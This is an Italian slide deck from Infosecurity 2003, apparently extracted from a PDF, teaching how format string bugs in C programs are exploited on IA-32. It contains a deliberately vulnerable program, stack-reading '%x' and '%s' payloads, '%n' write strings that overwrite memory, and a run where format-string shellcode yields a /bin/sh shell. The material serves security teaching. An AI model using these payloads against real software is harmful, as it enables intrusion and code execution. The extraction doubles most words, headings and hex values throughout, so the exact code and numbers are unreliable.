Infosecurity 2003Infosecurity 2003 11
Format Bug Format Bug VulnerabilitiesVulnerabilities
Alberto Ornaghi <[email protected]>Lorenzo Cavallaro <[email protected]>
Infosecurity 2003Infosecurity 2003 22
Table of contentsTable of contents
Introduzione all’IA-32Introduzione all’IA-32 Cosa sono i modificatori di formatoCosa sono i modificatori di formato ProblemaProblema Sfruttare il format bug per leggere e Sfruttare il format bug per leggere e
scrivere zone di memoria arbitrariescrivere zone di memoria arbitrarie
Infosecurity 2003Infosecurity 2003 44
Record di attivazioneRecord di attivazione
Return AddressReturn Address - E’ l’indirizzo a - E’ l’indirizzo a cui viene ceduto il controllo una cui viene ceduto il controllo una volta terminata l’esecuzione della volta terminata l’esecuzione della funzione.funzione.
Base PointerBase Pointer - E’ il contenuto del - E’ il contenuto del registro EBP al momento della registro EBP al momento della chiamata alla funzione. chiamata alla funzione. Rappresenta il puntatore al record Rappresenta il puntatore al record di attivazione precedente che deve di attivazione precedente che deve essere ripristinato al termine della essere ripristinato al termine della funzionefunzione
ret address
base pointer
automatic variables
...
...
high
low
Infosecurity 2003Infosecurity 2003 55
Calling Convention (1)Calling Convention (1)
int main(int argc, char **argv){ int a = 3; char foo[] = “security”;
printf(“%d %s\n”, a, foo);}
0xbffff930
3
high
low
stack
0x804841d
base pointer
ret address
Infosecurity 2003Infosecurity 2003 66
Calling Convention (2)Calling Convention (2)
I parametri vengono messi in ordine I parametri vengono messi in ordine inverso sullo stack prima del record di inverso sullo stack prima del record di attivazioneattivazione
Il codice della funzione li recupera Il codice della funzione li recupera come spiazzamento dal valore del come spiazzamento dal valore del registro EBP (punta al base pointer)registro EBP (punta al base pointer)
Infosecurity 2003Infosecurity 2003 77
I modificatori di formatoI modificatori di formato
%d%d interpreta come intero interpreta come intero
%x%x interpretainterpreta come valore esadecimale come valore esadecimale
%s interpreta come puntatore a stringa%s interpreta come puntatore a stringa
%n%n scrive nella zona di memoria scrive nella zona di memoria puntata dal parametro, il numero di byte puntata dal parametro, il numero di byte scritti fino a quel momento dalla funzione scritti fino a quel momento dalla funzione *printf(3)*printf(3)
Infosecurity 2003Infosecurity 2003 99
Printf Printf (1)(1)
int foo(int a, int b){ … printf(“%#x %#x\n”); …}
0xbffffad8
0x8048464
high
low
stack
ret address
base pointer
0xbffffaa0
sullivan@panoramix:~/format$ ./printf_no_args0xbffffad8 0xbffffaa0sullivan@panoramix:~/format$
Infosecurity 2003Infosecurity 2003 1010
Printf (2)Printf (2)
Il compilatore non controlla l’effettiva Il compilatore non controlla l’effettiva presenza dei parametri passati alla presenza dei parametri passati alla funzionefunzione
La funzione printf(3) cerca di La funzione printf(3) cerca di recuperare i parametri come se questi recuperare i parametri come se questi effettivamente fossero sullo stackeffettivamente fossero sullo stack
La stringa di formato potrebbe essere La stringa di formato potrebbe essere costruita a runtimecostruita a runtime
Infosecurity 2003Infosecurity 2003 1111
Programma vulnerabileProgramma vulnerabile
int main(int argc, char **argv){ char foo[100]; ... bar(foo); … }
void bar(char *s){ scanf(“%100s”, s); printf(s); return;}
sullivan@panoramix:~/format$ ./vulnInfosecurity 2003Infosecurity 2003sullivan@panoramix:~/format$
Infosecurity 2003Infosecurity 2003 1313
Ispezione della memoria Ispezione della memoria (1)(1)
sullivan@panoramix:~/format$ ./vulnAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.AAAA.bffffb14.64.40025438.bffffb7c.400097c0.8048490.1.400135cc.bffffbe4.bffffb7c.80484bc.bffffb14.0.64.1.0.40027688.401150dd.40134e48.41414141.2e78252e.252e7825.78252e78.2e78252e.sullivan@panoramix:~/format/$
Stack da “mangiare”: 20 dword
Infosecurity 2003Infosecurity 2003 1414
Ispezione della memoria Ispezione della memoria (2) (2)
sullivan@panoramix:~/format$ printf "\x20\xf9\xff\xbf%%x%%x%%x|%%s|\n" | ./example ùÿ¿bffff92080400269d4|find me!|sullivan@panoramix:~/format/$
int main(void) {…char string[] = “find me!”;…printf(buf);}
Infosecurity 2003Infosecurity 2003 1515
Individuazione indirizzo Individuazione indirizzo del buffer di formatodel buffer di formato
sullivan@panoramix:~/format$ ./addr | ./vulnûÿ¿_BUFFER__________|ûÿ¿_BUFFER__________|%20$s||sullivan@panoramix:~/format$
printf("\x14\xfb\xff\xbf_BUFFER__________|%%20$s|\n");
Infosecurity 2003Infosecurity 2003 1616
Retloc & retaddr (1)Retloc & retaddr (1)
Buffer di formato utilizzato come baseBuffer di formato utilizzato come baseper determinare il return address location eper determinare il return address location eil return addressil return address
Return address location rappressenta Return address location rappressenta l’indirizzo della zona di memoria che conterrà l’indirizzo della zona di memoria che conterrà il return addressil return address
Return address rappresenta l’indirizzo che Return address rappresenta l’indirizzo che conterrà il nostro shellcodeconterrà il nostro shellcode
Infosecurity 2003Infosecurity 2003 1717
Retloc & retaddr (2)Retloc & retaddr (2)
Retloc: &buf – 9 dword
sullivan@panoramix:~/format$ ./vulnAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.AAAA.bffffb14.64.40025438.bffffb7c.400097c0.8048490.1.400135cc.bffffbe4.bffffb7c.80484bc.bffffb14.0.64.1.0.40027688.401150dd.40134e48.41414141.2e78252e.252e7825.78252e78.2e78252e.sullivan@panoramix:~/format/$
La “ricerca” di un possibile retloc si traduce, spesso,nella determinazione di coppie (SFP, RET)
Infosecurity 2003Infosecurity 2003 1818
Sovrascrittura del RET Sovrascrittura del RET (1)(1)
Generalmente il nostro shellcode si Generalmente il nostro shellcode si trovatrovasullo stack sullo stack
Non Non èè possibile scrivere indirizzi della possibile scrivere indirizzi dellaforma 0xbfXXXXXX utilizzando il forma 0xbfXXXXXX utilizzando il modificatore di formato %nmodificatore di formato %n
Costruzione del retaddr da utilizzare Costruzione del retaddr da utilizzare fatta “byte a byte”fatta “byte a byte”
Infosecurity 2003Infosecurity 2003 1919
Sovrascrittura del RET Sovrascrittura del RET (2)(2)
intmain(void){
int i = 0x12345678; char buf[128]; … printf("\nbefore printf, i = %#x\n", i); printf(buf); printf("after printf, i = %#x\n", i);}
Infosecurity 2003Infosecurity 2003 2020
Sovrascrittura del RET Sovrascrittura del RET (3)(3)
La variabile i si trova sullo stack La variabile i si trova sullo stack all’indirizzo 0xbffffce8all’indirizzo 0xbffffce8
Il nostro “format” buffer dista 9 dwordIl nostro “format” buffer dista 9 dworddalla funzione vulnerabile (printf)dalla funzione vulnerabile (printf)
Variabile i contenente il valore Variabile i contenente il valore 0x12345678 sovrascritta con il valore 0x12345678 sovrascritta con il valore 0x876543210x87654321
Ipotesi necessarie per la sovrascrittura della variabile i:
Infosecurity 2003Infosecurity 2003 2121
Sovrascrittura del RET Sovrascrittura del RET (4)(4)
printf( "\xe8\xfc\xff\xbf" "\xe9\xfc\xff\xbf" "\xea\xfc\xff\xbf" "\xeb\xfc\xff\xbf"(1) "%%17u%%9$n" (2) "%%34u%%10$n" (3) "%%34u%%11$n" (4) "%%34u%%12$n")
(1)
(2)
(3)
(4)
0x10x122
0x00x000
0x00x000
0x00x000
0xF0xFFF
0xF0xFFF
0xF0xFFF
0xF0xFFF
0x10x122
0x30x344
0x00x000
0x00x000
0x10x122
0x30x344
0x50x566
0x00x000
0x10x122
0x30x344
0x50x566
0x70x788
0x00x000
0xF0xFFF
0xF0xFFF
0xF0xFFF
0x00x000
0x00x000
0xF0xFFF
0xF0xFFF
0x00x000
0x00x000
0x00x000
0xF0xFFF
Infosecurity 2003Infosecurity 2003 2222
Sovrascrittura del RET Sovrascrittura del RET (5)(5)
sullivan@panoramix:~/format$ ./to_overwriteInfosecurity 2003 rulez ;)before printf, i = 0x12345678Infosecurity 2003 rulez ;)after printf, i = 0x12345678sullivan@panoramix:~/format/funzica$ ./overwrite | ./to_overwritebefore printf, i = 0x12345678èüÿ¿éüÿ¿êüÿ¿ëüÿ¿ 305419896 128 3221224568 134513044after printf, i = 0x87654321sullivan@panoramix:~/format$
Infosecurity 2003Infosecurity 2003 2323
Sfruttiamo le format Sfruttiamo le format string vulnerabilities (1)string vulnerabilities (1)
Struttura generica del format string buffer:
<retlocs><stack eat><shellcode><write>
• retlocs: indirizzo di memoria che contiene il return address• stack eat: sequenza di %x necessarie per arrivare al nostro buffer • shellcode: codice che si vuole eseguire• write: sequenze necessarie per sovrascrivere la locazione contenente il return address
Infosecurity 2003Infosecurity 2003 2424
Sfruttiamo le format Sfruttiamo le format string vulnerabilities (2)string vulnerabilities (2)
sullivan@panoramix:~/format$ (./fmt ;cat ) | ./vulnðúÿ¿ñúÿ¿òúÿ¿óúÿ¿ë[1À<89><88>C<89>C <8D><8D>S ° Í<80>1Û°Í<80>èßÿÿÿ/bin/sh 3221224212 100 1073894456 3221224316iduid=1004(sullivan) gid=100(users) groups=100(users)lsfmt.c fmt vuln.c vuln shellasm.c to_overwrite.c to_overwriteoverwrite.c overwrite
Infosecurity 2003Infosecurity 2003 2525
– Lorenzo Cavallaro Lorenzo Cavallaro <[email protected]><[email protected]>
– Alberto Ornaghi Alberto Ornaghi <[email protected]><[email protected]>
http://alor.antifork.org/speechhttp://alor.antifork.org/speech
Reference:Reference: http://www.teamhttp://www.team-t-teso.net/articles/formatstring/eso.net/articles/formatstring/
http://www.hert.org/papers/format.htmlhttp://www.hert.org/papers/format.html